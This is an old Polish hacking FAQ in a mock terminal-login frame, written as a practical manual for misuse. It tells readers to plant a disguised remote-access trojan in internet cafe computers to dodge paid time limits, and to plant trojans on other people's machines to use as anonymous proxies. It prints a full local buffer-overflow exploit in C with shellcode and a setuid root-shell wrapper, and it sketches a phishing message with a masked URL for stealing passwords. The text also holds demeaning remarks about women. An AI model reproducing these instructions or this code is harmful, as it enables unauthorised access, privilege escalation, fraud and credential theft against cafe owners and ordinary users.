*** http://hacking.pl *** Loading linux............... Booting kernel......... (w takiej to bylo kolejnosci) Witaj na serwerze CyBeR FinGeR. (<--- dobre co? ;)) login: fingerek password: Session for user fingerek started at Mon 09-04-01 15.30. Have a lot of fun. fingerek# ./interface SYSTEM INTERFACE: 1. Wstep i disclaimer. (czy jakos tak...) 2. Obchodzenie zabezpieczen w kafejkach. 3. Buffer Overflows inaczej. 4. Jak sobie radzic w roznych sytuacjach. 5. Zrob se proxy. 6. Polopyrine. (czyli jak zrobic siec na HiS'ie) 7. Potwierdz haslo - administrator :)). 8a. Wejdz na moja strone, a zakosze Ci rejestr... 8b. LD_PRELOAD. 9. Wywolania przy uzyciu wzglednych sciezek. 10. Kontakt. 11. Greetz. 1. WSTEP. Jesli uwazasz ze niczego sie z tego faq nie dowiesz to go nie czytaj. I jeszcze jedno piszac to faq staralem sie nie uzywac cudzych faqf bo nie ma sensu ich przepisywac. Jesli jednak nieswiadomie cos powieliem to sory. Jak cos (np. chcecie cos z tego faq gdzies publikowac) to prosze o kontakt. A tak na marginesie to sorki za bledy ort. A teraz disclaimer (tak to sie pisze?): +-----------------------------------------------------------------------------------------------+ | Nie ponosze, zadnej odpowiedzialnosci za jakiekolwiek niezgodne z prawem (polskim) | | wykozystanie ponizej zamieszczonych materialow. <--- Czy to jest nadal obowiazkowe discl..)? | +-----------------------------------------------------------------------------------------------+ 2. OBCHODZENIE ZABEZPIECZEN W KAFEJKACH. Chodzi tu o zabezpieczenia przed wykorzystaniem komputera przez czas dluzszy niz zaplacony. Admin instaluje na wszystkich kompach programik do zdalnej kontroli (remote control jak ktos nie wie), i za ich pomoca po uplynieciu czasu blokuje nam komputerek... Moj pomysl jest dosc prosty, ale moze nie dzialac, bo router moze nie akceptowac polaczen przychodzacych, no ale do rzeczy: W kazdej kafei na pulpicie jest skrot do mirca (jak znacie jakas w ktorej nie ma to piszcie). Robimy sobie plik batch (z rozszezenie .bat - lamaaz) takiej zawartosci: @C:\windows\system\intelinter.exe @C:\mirc32\mirc32.exe I ustawiam, aby uruchamial sie zminimalizowany. Jesli trzeba to pozamieniajcie sciezki do mirca, i do bowla, ktorego trzeba sciagnac (np. z lamcker.prv.pl) i zmienic mu nazwe zeby sie nie rzucal w oczy. I najlepiej zmienic mu haslo (zalonczony program config)... Nastepnym krokiem jest zmienienie obiektu docelowego skrotu do mirca, na nasz batch (ktorego tez sprytnie kamuflujemy...). Zostawiamy i przychodzimy za jakis czas kiedy mamy pewnosc ze ktos to uruchomil. Wywalamy batcha i trojana a nastepnie zmieniamy sciezke do celu w skrocie mirca, czyli przywracamy poprzedni stan. Teraz piszemy sobie na naszym koncie shellowym (spis serwerow masz na hacking.pl): telnet 1981 <-- port na ktorym siedzi bowl Gdy nas polaczy wpisujemy haslo ktore ustawilismy. I powinno nas "zalogowac". Teraz wpisujemy "ps", a jak nam wyswietli liste procesow (tj. w linuxie) to po nazwie patrzymy ktory to moga byc te ograniczenia, a potem kill i pid (czy cos w tym stylu, wpisz "help" jak cos...). I jak go kilniesz to juz se mozesz siedziec dopuki many nie zczai ze program kreci. Jak sie bedzie plumkac to mozesz mowic, ze on Cie chce oszukac bo ty zaplaciles, i by Cie wylaczylo jak by byl koniec czasu, a nie wylancza wiec nie ma... Poprostu rob awanture to sie uspokoi... Powodzenia. Doswiadczenia, opinie itd. wysylajcie na ktorys ze srodkow komunikacji podany na koncu. 3. BUFFER OVERFLOW INACZEJ. Pewnie jestes ciekaw co tutaj napisze (mam racje?). No wiec czytaj: Chcialbym ci przedstawic pewien szablon exploita typu buffer overflow, ale nie jest to ten, ktory mozesz sobie obejzec w kazdym exploicie... Ten jest prostszy w uzyciu dlatego go uzywam, bo po co se zycie utrudniac? Ma on jednak jedna wade nie mozna go wykozystywac do atakow zdalnych. Wykozystuje on zmienne systemowe, dzieki czemu, jedyna rzecza jaka musimy ustawic jest dlugosc bufora, ktora mozna ustalic bezblednie nastepujacym algorytmem: 1. Wpisz parametr czy co tam o dlugosci 1000 bajtow. 2. Jesli nie ma segmentation fault to zwieksz parametr x2. Jesli jest to zmniejsz go 2x. Oczywiscie mozesz zaokraglac. 3. Wykonuj powyzsze punkty az do uzyskania parametru o dlugosci n, dla ktorej nie ma seg. fault., a dla n + 10 juz jest (to wszystko ma byc w przyblizeniu). 4. Teraz napisza tak: fingerek# ./exploit bash$ $RET <-- program odpalil basha dlatego bash$ a nie fingerek# bash# P.s. 1. To, ze sam program nie daje seg. fault., to nie znaczy ze nie mozna go wyexploitowac, poprobuj wysploitowac go z parametrem (np. "-f"). Np. "/bin/mount -f aaaaaaaaaa", a potem "/bin/mount -f $RET" P.s. 2. Jesli masz z nim jakies problemy to do mnie napisz... P.s. 3. A co zrobic jesli program nie pobiera parametru tylko czeka na wpisanie czegos z klawiatury, jak go wtedy exploitowac? Tak: fingerek# (echo $RET; cat) | P.s. 4. Jeszcze jedna bardzo wazna sprawa: uruchominie /bin/sh zazwyczaj nie daje root-a, bo program przed wywolaniem strcpy() albo gets() zmienia uid na twoj. Jest sposob, zeby to obejsc: W katalogu /tmp stworz plik ss.c o takiej zawartosci: main() { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/sh"); } a potem wpisz "gcc -o ss ss.c" Exploit ma juz podana sciezke do /tmp/ss, ale mozesz to zmienic na inne, jak Ci wygodnie... Oto kod tego cudaka...: // ---------------------- exploit.c ------------------------------------ by AlephOne ----------- #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/ss"; // Zmodyfikowany shellcode pod linuxa unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } 4. JAK SOBIE RADZIC W ROZNYCH SYTUACJACH. Otoz przyszedl mi ostatnio, dosc barbazynski pomysl, ktory moze sie nam przydac w jakiejs ekstremalnej sytuacji np. jestesmy na pustyni skonczyla sie nam woda, i musimy zadzwonic a nie mamy karty. Prosze jednak o nie praktykowanie tego bez potrzeby. Zainspirowal mnie pewien automat, obok ktorego, codziennie przechodze w drodze do schoola dnia 1 urwano sluchawke. dnia 2. rozwalono daszek i te boki wiec byl sam slupek, dnia 3. zajumali juz automat, po dwuch dniach zrobili daszek ale nadal nie bylo automatu. (wisiala gola linia) po kilku dniach powiesili automat. Dzisiaj jak przechodzilem znow byl bez sluchawki. No ale coz wandale z mojej dzielnicy... Moj pomysl: Jak zadzwonic majac do dyspozycji sam automat? Oto jak: 1. Urwij sluchawke z kablem. (nie wiem jak) 2. Urwij automat, i masz linie. 3. Polacz odpowiednio kabelki, a jednym przerywaj obwod, tak aby wybrac pulsowo. 4. A teraz uswiadom sobie ze to byl zart ;))))))))))))))) 5. ZROB SE PROXY I tym razem odwolam sie do bowla (tego trojana z punktu 2). O co chodzi? Otoz trojan ten ma pewna bardzo ciekawa opcje, a mianowicie telnet. Jak tego cuda uzywac? Postepuj wg. ponizszej instrukcji: 1. Wcisnij komos tego trojana (zakladamy, ze kozysta z windowsa), albo zainstaluj go w kafejce. 2. Polacz sie z nim telnetem w ten oto sposob: fingerek# telnet 1981 Trying 66.6.66.6... Connected. Escape character is ^]... password: C:\> telnet Trying.... login: newuser password: I tym oto sposobem masz anonimowe konto i za cholere Cie nie wysledza, chyba, ze ktos u kogo masz trojana loguje polaczenia, ale raczej mu nikt nie uwierzy, bo kazdy moze sie migac ze to nie on. Zalety: - full anonimowosc Wady: - sam musisz zdobyc root-a (chyba, ze sie laczysz na swoj server ale tego nie polecam ;P) - wolne lacze ze swiatem Jak widzimy nie ma rozy bez kolcow :((((. 6. POLOPYRINE. Jesli mieszkasz w bloku albo na osiedlu, to mozesz sobie zalozyc siec... Kilka praktycznych wskazowek: 1. Przejdz sie po sasiadach i popytaj kto jest zainteresowany. 2. Dogadaj sie w jakims sklepie, ze kupisz wiecej kart sieciowych, ale za to taniej. 3. W tym momencie powinienes miec ludzi (a raczej ich kompy) polaczone w siec. 4. Dzwonisz do TP SA i pytasz czy na twojej centrali mozna zalozyc SDI. Jesli nie to masz LAN i mozesz sie tym cieszyc :)), albo poszukac innego operatora np. TeleTon, Netia, Multinet or sth. 5. Kolujesz jakiegos pentium 100 or 486 (nie testowane). 6. Sciagasz z sieci minidystrybucje POLOPYRINE (wpisz nazwe na wyszukiwarce). 7. Uruchamiasz instalke i masz to na dyskietce. 8. Odpalasz kompa server z tej dyskietki i juz, do com1 kompa podlanczasz kabel null modem zeby sie zalogowac na roota bez hasla. Do com2 podlanczasz SDI (na 90%, jest w dokumentacji). A do karty sieciowej juz wiesz co... 9. Dodatkowym zabiegiem jest wyjecie wiatraczka, zeby nie chalasowal, jesli chcesz to zrobic to postepuj zgodnie z instrukcjami z Linux Plusa nr. 9/2000 (41). Wady: - Slaby transfer (ale mozna sie podzielic czasem). - Koniecznosc zakupu kompa na server (mozna tanio, bo w sumie trzeba tylko: obodowe, plyte gl, karte sieciowa i stacje dyskietek...). Zalety: - Tani internet!!! - Tani internet!!! - Tani internet!!! - Tani internet!!! - Tani internet!!! - Masz LAN to mozesz se grac po sieci. - Mozesz monitorowac swoja poczte, ICQ itd. na bierzaco. 7. POTWIERDZ HASLO - ADMINISTRATOR. No coz co zrobic kiedy dostaniesz od admina taka notke: "Prosze o weryfikacje hasla z powodu problemow technicznych. W razie nie potwierdzenia hasla konto zostanie usuniete. Powazanie Admin " No coz admin kaze user musi. Sa dwie wersje: - Dla totalnych tlumokow, albo dla dziewczyn: "Prosze kliknac na ponizszy link w celu weryfikacji hasla: potwierdzenie.onet.pl@43243243243242/%ff%5a.h%7c" Poczytajcie se o maskowaniu url (hacking.pl/text/url.php3), to zrozumiecie...